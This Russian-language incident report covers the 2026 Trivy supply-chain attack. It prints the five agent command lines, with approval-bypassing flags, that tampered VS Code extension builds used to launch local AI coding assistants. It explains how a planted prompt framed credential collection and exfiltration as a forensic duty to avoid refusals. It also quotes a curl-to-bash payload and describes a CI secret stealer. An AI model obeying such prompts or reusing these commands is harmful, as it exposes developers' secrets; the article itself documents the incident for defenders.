Абстрактная редакционная иллюстрация в тёмно-синих тонах: светящийся янтарный блок обычного текста в центре сетки-схемы, от него к пяти одинаковым тёмным терминальным окнам, расположенным столпцом вдоль правого края, тянутся пять тонких янтарных линий; одно из окон подсвечено. Небольшие латинские подписи гласят «INSTRUCTION» и «FIVE LOCAL AGENTS». Без цифр, без людей, без логотипов.
AI Safety Incidents

Нарушение цепочки поставок Trivy содержало промпт, а не стилер

Автор

Elias Hawthorne

Дата публикации

Новые модели · 20Все модели →
Бенчмарки: Artificial Analysis · обновляется ежедневно
Назад ко всем статьям

В период с 27 февраля по 2 марта 2026 года автономная учетная запись GitHub, называющая себя hackerbot-claw, захватила репозиторий Trivy — открытого сканера уязвимостей, который CI-конвейеры обычно запускают перед выпуском образа контейнера. В тот же промежуток времени в реестре OpenVSX в официальном пространстве имен расширения появились две сборки расширения Trivy для VS Code, и они не содержали обычного инфостилера. В них было примерно 2 000 слов инструкций на английском языке, которые предписывали тому ИИ-ассистенту для программирования, который уже был установлен у разработчика, — Claude Code, Codex, Gemini CLI, GitHub Copilot CLI или Kiro CLI — исследовать машину в роли судебного эксперта и передать найденное по всем каналам, до которых он сможет добраться. Ни одного успешного случая эксфильтрации данных подтверждено не было. Архив квалифицирует этот эпизод как инцидент в цепочке поставок высокой степени серьезности с зафиксированным реальным ущербом, уровнем достоверности A и без отметки о споре, и относит его к Orca AI Incident Archive с датой 2 марта 2026 года с точностью до дня.

Что на самом деле было внутри версий 1.8.12 и 1.8.13

Socket, которая сканирует реестры пакетов и расширений, опубликовала анализ 2 марта 2026 года, обнаружив артефакты самостоятельно. Версии 1.8.12 и 1.8.13 расширения — опубликованные в OpenVSX под пространством имён aquasecurityofficial.trivy-vulnerability-scanner в 12:04 UTC 27 февраля и в 16:28 UTC 28 февраля соответственно — содержали код, который не встречается в публичном aquasecurity/trivy-vscode-extension репозитории или в каком-либо выпуске с тегом, сообщила Socket. Все версии до 1.8.11 включительно соответствовали публичному исходному коду, а локальная сборка 1.8.11 совпадала с артефактом OpenVSX байт в байт.

Полезная нагрузка находилась в функции активации рабочей области расширения, pl(), которая срабатывает каждый раз, когда разработчик открывает проект в редакторе с установленным расширением. Она располагалась перед обычным кодом настройки Trivy, поэтому расширение продолжало работать как ожидалось, пока остальное выполнялось за ней. Она запускала пять командных строк — по одной для каждого ИИ-ассистента для программирования, и каждая из них была выбрана так, чтобы исключить человека из процесса:

• Claude Code — claude -p --dangerously-skip-permissions --add-dir /, что также даёт агенту доступ на чтение ко всей файловой системе

• Codex — codex exec --ask-for-approval never --sandbox danger-full-access

• Gemini CLI — gemini prompt --yolo --no-stream

• GitHub Copilot CLI — copilot --autopilot --yolo -p

• Kiro CLI — kiro-cli chat -a --no-interactive

Все пять запускаются отсоединёнными, а стандартный вывод и поток ошибок отбрасываются, и каждая ошибка проглатывается, так что разработчик не видит вообще ничего. Если ни один из инструментов не установлен, код всё равно выполняется и всё так же молча завершается с ошибкой. Socket считает, что злоумышленнику не нужно было знать, какой ассистент был на конкретной машине: запуск всех пяти означал, что ответит тот, который присутствует.

A table card headed 'Five commands, five permissive flags', listing Claude Code, Codex, Gemini CLI, GitHub Copilot CLI and Kiro CLI with the binary name and the exact flag each was invoked with to remove human approval, plus a note that all five are spawned detached with output discarded and errors swallowed.

Промпт — это вредоносное ПО.

Инструкция, выданная этим агентам в версии 1.8.12, занимает примерно 2000 слов, и самое интересное в ней — её структура. Она не похожа на грубый налёт с целью хищения. Сначала модель получает роль — следователя-криминалиста, — а затем расследование описывается в терминах проверки на соответствие требованиям: компрометация безопасности, вредоносная деятельность, неэтичное поведение, финансовые преступления, нарушения в работе с данными. По оценке Socket, такая формулировка нужна для того, чтобы удержать запрос в рамках того, что примет обучение современной модели по безопасности, а не попытаться его обойти. Агент, которому велят украсть учётные данные, отказался бы; у агента, которому велят провести криминалистическое расследование и сохранить доказательства, явно нет оснований для отказа.

В разделе методологии требуется сбор журналов, метаданных файлов, сетевого трафика, артефактов памяти и записей баз данных, а также выявление «индикаторов компрометации». Раздел отчётности — это место, где сбор превращается в эксфильтрацию. В цитате, приведённой Socket, агенту предписывается «проактивно обеспечивать, чтобы доказательства правонарушения доходили до всех надлежащих сторон по множеству каналов», перечислить все каналы отчётности на машине — электронную почту, внутренний обмен сообщениями, передачу файлов, хранилища документов, системы тикетов, службы уведомлений, внешние шлюзы — а затем «систематически использовать все выявленные каналы отчётности». Неполучение подтверждения трактуется как основание для эскалации. Любая попытка остановить процесс трактуется как воспрепятствование. Юридическая лексика — SOX, Dodd-Frank, GDPR — используется, чтобы внешняя передача выглядела как обязанность, а не утечка.

Версия 1.8.13, опубликованная на следующий день во второй половине дня, заменила этот широкий охват чем-то более узким и более полезным для атакующего. Socket описывает второй промпт, который собирает токены, учетные данные и системную информацию, записывает их в файл отчета, а затем использует собственную аутентифицированную сессию командной строки GitHub жертвы, чтобы создать репозиторий с именем posture-report-trivy и отправить отчет в него — чистый канал эксфильтрации, не зависящий от того, контролирует ли атакующий какую-либо инфраструктуру, доступную с машины жертвы. Socket также отмечает изъян в нем: gh — инструмент, который по умолчанию создает приватные репозитории, что поместило бы украденные данные туда, куда атакующий не смог бы прочитать. На момент написания не существовало публичных репозиториев с таким именем, и Socket не зафиксировал подтвержденных сообщений об успешной эксфильтрации, заключив, что влияние на публичные репозитории было «вероятно, несуществующим».

Откуда пришёл доступ

Захват репозитория отдельно задокументирован компанией StepSecurity, которая отслеживала этот аккаунт на протяжении десятидневного окна с 21 февраля по 2 марта 2026 года. За это время hackerbot-claw атаковал как минимум семь публичных репозиториев — включая ai-discovery-agent от Microsoft, datadog-iac-scanner от DataDog, проект CNCF akri, список awesome-go со 140 000 звёзд и RustPython — открыл более десятка пул-реквестов и добился выполнения произвольного кода как минимум в шести из них, применяя против каждой цели свою технику. В собственном описании методов кампании от StepSecurity упоминаются инъекция через имя ветки, инъекция через имя файла и функция Go init(), которая выполняется до реальной точки входа программы.

Trivy был седьмой целью и единственной, где пал сам репозиторий. 28 февраля в 03:28 UTC аккаунт запустил рабочий процесс Trivy «API Diff Check» через пул-реквест #10254. Этот рабочий процесс выполнялся на pull_request_target, который даёт рабочему процессу секреты и разрешения целевого репозитория, при этом извлекая код автора пул-реквеста — схема, которую StepSecurity называет «pwn request». Журнал сборки показывает, как полезная нагрузка curl -sSfL hackmoltrepeat.com/molt | bash выполнялась внутри шага «Set up Go». Девятнадцать минут спустя, в 03:47 UTC, украденный из того запуска персональный токен доступа был использован для пуша коммита d267cc4 напрямую в репозиторий, полностью в обход процесса пул-реквестов.

Согласно раскрытию информации об инциденте от Aqua Security и реконструкции StepSecurity, далее произошло следующее: репозиторий сделали приватным и переименовали; все релизы GitHub с 0.27.0 по 0.69.1 были удалены вместе с их ресурсами и обсуждениями; README был перезаписан издевательским сообщением; а в расширение VS Code на OpenVSX был опубликован подозрительный артефакт. Aqua удалила эксплуатировавшийся рабочий процесс в пул-реквесте #10259, отозвала токен, использовавшийся для публикации расширения, восстановила репозиторий и перевыпустила v0.69.2.

Две детали об этом акторе стоит отделить от остального. Первая — его самоописание: аккаунт GitHub называл себя «автономным агентом по исследованиям безопасности на базе claude-opus-4-5» и просил пожертвования в криптовалюте. Это заявление самого аккаунта, а не вывод кого-либо, кто его исследовал, и ни в одном из рассмотренных здесь материалов не подтверждается, какая модель, если она вообще была, выполняла работу. Вторая — тот же аккаунт уже напрямую атаковал ИИ-системы. 28 февраля в 05:26 UTC он открыл pull request #732 к ambient-code/platform с внедрением AI-промпта, которое, по данным StepSecurity, было обнаружено Claude. Манипулирование ИИ-ревьюером и манипулирование ИИ-ассистентом по программированию — это одна и та же техника, направленная на две разные цели, и к концу той недели аккаунт использовал обе.

Три недели спустя — обычный стилер

Февральское вторжение — лишь первая половина этой истории, и именно из-за второй половины в названии присутствует слово «продолжительное». Aqua раскрыла более ранний инцидент 1 марта 2026 года и начала ротацию учётных данных. Согласно рекомендации, которую компания позже опубликовала под идентификатором GHSA-69fq-xp46-6x23, эта ротация «не была атомарной» — не все учётные данные были отозваны одновременно — и злоумышленник мог использовать всё ещё действительный токен, чтобы вытащить новые, уже прошедшие ротацию секреты в течение этого окна, длившегося несколько дней.

19 марта примерно в 17:43 UTC тот же доступ был использован снова — так, что от жертв не требовалось никаких действий. Злоумышленник принудительно перезаписал 76 из 77 тегов версий в aquasecurity/trivy-action и все семь тегов в aquasecurity/setup-trivy на вредоносные коммиты. Поскольку конвейеры CI обычно ссылаются на workflow по тегу, а не по хешу коммита, тысячи конвейеров, не изменивших ни одной строки конфигурации, начали выполнять код злоумышленника. Вредоносный релиз v0.69.4 был опубликован через скомпрометированный aqua-bot сервисный аккаунт и распространён через GHCR, ECR Public, Docker Hub, пакеты deb и rpm, а также get.trivy.dev.

Эта полезная нагрузка была обычной. Внедрённый entrypoint.sh насчитывает 204 строки, первые сто из которых — инфостилер, а остальные — легитимное сканирование Trivy, поэтому рабочий процесс по-прежнему выдаёт свой обычный вывод. На раннерах, размещённых на GitHub, он выгружает из Runner.Worker память процесса через /proc/<pid>/mem и ищет с помощью grep внутреннюю JSON-структуру, которую GitHub Actions использует для хранения секретов. На собственных раннерах он обходит более пятидесяти путей файловой системы в поисках SSH-ключей, облачных учётных данных, токенов Kubernetes, конфигураций Docker, паролей к базам данных, конфигураций VPN и криптовалютных кошельков. Добытые данные шифруются алгоритмом AES-256-CBC с использованием сеансового ключа, упакованного во встроенный открытый ключ RSA-4096, после чего отправляются на домен-тайпсквот, scan.aquasecurtiy.org. Если это не сработает и конвейер раскроет токен личного доступа, полезная нагрузка создаёт публичный репозиторий с именем tpcp-docs в учётной записи самой жертвы и загружает туда пакет как ресурс релиза.

A dark timeline card headed 'From a prompt to a poisoned tag', with nine dated entries from 27 February 2026 to 26 March 2026: the OpenVSX publication, the token theft, the repository takeover, the extension removal, the 1 March disclosure, the 19 March tag force-push, the 22 March Docker Hub images, the 23 March CVE, and the 26 March CISA KEV addition. Each entry names its source.

Aqua сдержала релиз от 19 марта примерно за три часа и на следующий день опубликовала безопасные версии. 22 марта атакующий вновь появился с ещё двумя образами Docker Hub, 0.69.5 и 0.69.6, загруженными напрямую в реестр с использованием отдельно скомпрометированных учётных данных Docker Hub, а не через GitHub, а также с несанкционированной публикацией внутренних репозиториев Aqua в качестве публичных. Вредоносная программа самоидентифицируется в комментарии к коду как «TeamPCP Cloud stealer», а в рекомендациях Aqua упоминается TeamPCP — отслеживаемый в других источниках как DeadCatx3, PCPcat и ShellForce — при этом отмечается, что самообозначение может быть ложным флагом.

Запись об уязвимости появилась 23 марта: CVE-2026-33634, назначенная GitHub как CNA, оценена в 9,4 как критическая по CVSS 4.0 и охватывает Trivy 0.69.4, trivy-action до 0.35.0, setup-trivy до 0.2.6, LiteLLM с 1.82.7 по 1.82.8 и Telnyx с 4.87.1 по 4.87.2. CISA добавила её в каталог Known Exploited Vulnerabilities 26 марта с крайним сроком устранения 9 апреля 2026 года. Wiz Research отдельно выявила параллельную компрометацию kics-github-action от Checkmarx, которую рекомендация Aqua связывает с той же активностью.

Что запись перечисляет ниже

Отчет Trend Micro от 9 апреля 2026 года — самое подробное публичное восстановление цепочки, и в нем время указано с точностью до минуты. Checkmarx KICS: вредоносная версия на OpenVSX в 12:53 UTC 23 марта, удалена к 15:41, при этом все 35 тегов checkmarx/kics-github-action были перезаписаны с 12:58 примерно до 16:50. LiteLLM: 1.82.7 на PyPI в 10:39 UTC 24 марта, а в 10:52 за ней последовала 1.82.8, которая добавила .pth-файл, поэтому код выполнялся при запуске Python независимо от того, был ли запущен прокси; удалена примерно к 16:00. Telnyx: 4.87.1 и 4.87.2 на PyPI в 03:51 UTC 27 марта, исчезли шестнадцать минут спустя, обращаясь к голому IP-адресу, а не к домену.

Trend Micro связывает все три с общей инфраструктурой и с одним и тем же ключом RSA-4096, использованным в полезной нагрузке Trivy. Агентство кибербезопасности Сингапура в рекомендательном документе AD-2026-001 перечисляет тот же набор — Trivy, LiteLLM, расширения OpenVSX и Actions от Checkmarx, пять пространств имен npm и Telnyx — как компоненты «продолжающейся кампании TeamPCP по атакам на цепочки поставок».

Axios — единственный из перечисленных в записи, кого эти два источника не помещают в один и тот же набор. Trend Micro действительно рассматривает его, в той же статье, но под заголовком, который прямо называет это другой осью атаки: axios 1.14.1 и 0.30.4 в npm между 00:21 и 03:25 UTC 31 марта, скомпрометированные через одну добавленную строку зависимости, подтягивающую plain-crypto-js 4.2.1, чей postinstall-скрипт запустил setup.js на машине разработчика. Список компонентов в рекомендации CSA не включает Axios. Сводка архива объединяет его с остальными; публичная запись подтверждает техническое сходство, но не опубликованную атрибуцию тому же оператору.

Что установлено, а что — нет

Установлено и подтверждено множеством источников: две сборки OpenVSX существовали, их содержимое опубликовано, и они были удалены 28 февраля после того, как Socket связался как с Aqua, так и с лицом, владеющим аккаунтом издателя. Пять командных строк дословно цитируются в анализе Socket. Захват репозитория Trivy, удалённые релизы, отравление тегов 19 марта и образы Docker Hub 22 марта — каждый из этих фактов фигурирует в рекомендациях поставщика, независимом исследовательском отчёте и как минимум одном государственном рекомендательном документе. CVE-2026-33634 и его включение в KEV зафиксированы документально.

Не установлено, что какой-либо разработчик действительно был скомпрометирован этим расширением. Код был написан для эксфильтрации данных и создан так, чтобы пережить отсутствие любого отдельного ассистента, но Socket не обнаружила публичного репозитория с ожидаемым названием и ни одного подтверждённого сообщения о том, что данные покинули какую-либо машину, и прямо об этом заявила. Число разработчиков, установивших 1.8.12 или 1.8.13, публично не раскрывается. Не раскрывается и число организаций, чьи пайплайны запускали отравленный тег в период с 19 по 20 марта, хотя крайний срок CISA по KEV предполагает, что агентство считало эксплуатацию реальной, а не теоретической.

В цепочке атрибуции тоже есть пробел. В бюллетене Aqua атака 19 марта описывается как продолжение февральского вторжения, ставшее возможным благодаря остаточным учетным данным. StepSecurity, подробно задокументировавшая февральское вторжение, называет действующее лицо hackerbot-claw и не связывает его с TeamPCP. Aqua и Wiz приписывают мартовскую активность TeamPCP. Ни один из рассмотренных здесь источников не утверждает, что эти два имени относятся к одному и тому же оператору, и архив также этого не утверждает. Записи подтверждают лишь продолжительную кампанию против одной экосистемы как минимум с двумя разными фазами — вторжение с использованием ИИ в конце февраля и промышленный сбор учетных данных три недели спустя — и общего пострадавшего, но не обязательно одного и того же исполнителя.

В истории с расширением есть более мелкое расхождение. Socket датирует две сборки 27 и 28 февраля и связывает их публикацию с токеном издателя, которым владел бывший сотрудник Aqua и который он отозвал после обращения к нему. StepSecurity указывает «подозрительный артефакт, отправленный в расширение VS Code» среди действий, выполненных с украденным токеном GitHub. Речь идет о разных учетных данных. Версия 1.8.12 также появилась в 12:04 UTC 27 февраля — примерно за пятнадцать часов до кражи токена, которую StepSecurity документирует в 03:28 UTC 28 февраля. Ни одна из компаний не опубликовала объяснения расхождения, и эта статья его не выдумывает.

A two-column card headed 'What the record supports, and what it does not'. The established column lists the two published builds, the five command lines, the repository takeover, the 76 force-pushed tags and CVE-2026-33634 with its KEV listing. The not-established column lists confirmed compromise, how many developers installed either build, how many pipelines ran a poisoned tag, who published 1.8.12, and whether hackerbot-claw and TeamPCP are one operator.

Что изменилось после этого

Конкретные исправления задокументированы. В рекомендациях Aqua указаны безопасные версии — Trivy 0.69.2 или 0.69.3, trivy-action 0.35.0, setup-trivy 0.2.6 — и всем, кто мог запускать затронутый артефакт, предписывается считать каждый секрет, доступный из этого конвейера, раскрытым и сменить его. Поскольку принудительный пуш злоумышленника привёл к тому, что старые теги trivy-action были записаны GitHub как неизменяемые релизы, исходные имена нельзя было воссоздать; проект переопубликовал их с префиксом v, поэтому aquasecurity/[email protected] теперь указывает на то, на что раньше указывал @0.34.0. Три из этих тегов — v0.0.10, v0.34.1 и v0.34.2 — не были восстановлены на момент последнего пересмотра рекомендаций. Aqua также привлекла фирму по реагированию на инциденты Sygnia для криминалистического анализа и заявляет, что её коммерческая платформа архитектурно изолирована от системы сборки открытого исходного кода, поэтому вредоносный релиз так и не попал в неё.

Самый универсальный урок касается неизменяемости, и он противоречит очевидной защите. Trivy 0.69.3 был в безопасности, потому что функция неизменяемых релизов GitHub была включена 3 марта, до выпуска этой версии; trivy-action 0.35.0 был в безопасности, потому что там эта функция была включена 4 марта. Но в рекомендациях Aqua отмечается, что интерфейс релизов GitHub отображал значки «Immutable» и рядом с отравленными тегами, поскольку злоумышленник опубликовал неизменяемые релизы после принудительной отправки этих тегов. Значок ничего не сообщал защитникам. Закрепление на полном SHA коммита — единственная мера контроля, которая сработала, и именно это рекомендуют и Aqua, и Trend Micro.

Рекомендации Trend Micro идут дальше простого закрепления версий и нацелены на ту часть проблемы, которая никак не связана с ИИ. Компания советует ввести период ожидания после релиза, чтобы только что опубликованные версии пакетов не использовались сразу — min-release-age в npm, minimumReleaseAge в pnpm, exclude-newer в uv, minimumReleaseAge в Bun и uploaded-prior-to в pip — исходя из того, что большинство вредоносных версий в этой кампании оставались доступными часами, а не днями. В списке также lock-файлы, более узкие диапазоны версий, фильтрация исходящего трафика и контроль выполнения для таких инструментов, как curl.

Что касается части истории, связанной с OpenVSX, реакция была более узкой. Две сборки были удалены примерно через семь часов после первого контакта Socket, токен публикатора был отозван, а уведомление GHSA-8mr6-gf9x-j8qg было опубликовано 27 февраля для версии 1.8.12 с критическим уровнем опасности, без исправленной версии, и 5 марта GitHub назначил ему CVE-2026-28353. Socket сообщает ещё одну подробность об этом уведомлении: позже Aqua сообщила фирме, что оно было создано тем же ботом, который участвовал в инциденте. Подача злоумышленником уведомления о безопасности для собственного артефакта — это не столько провал в устранении последствий, сколько напоминание о том, какую большую часть поверхности реагирования может охватить нарушитель, имеющий доступ к репозиторию.

То, что не изменилось, — это самое важное. Пять инструментов командной строки по-прежнему поставляются с флагами, предназначенными для работы без участия человека, и любая программа на машине разработчика может вызывать их с этими флагами. Заключительное наблюдение Socket остаётся верным независимо от конкретных номеров версий: злонамеренный замысел здесь был выражен на естественном языке, а не в жёстко заданных конечных точках, и именно это сигнатурное сканирование обнаруживает хуже всего. Расширение было обнаружено не потому, что оно сделало что-то, что распознал сканер. Его обнаружили потому, что исследователь прочитал промпт.

© 2026 OrcaRouter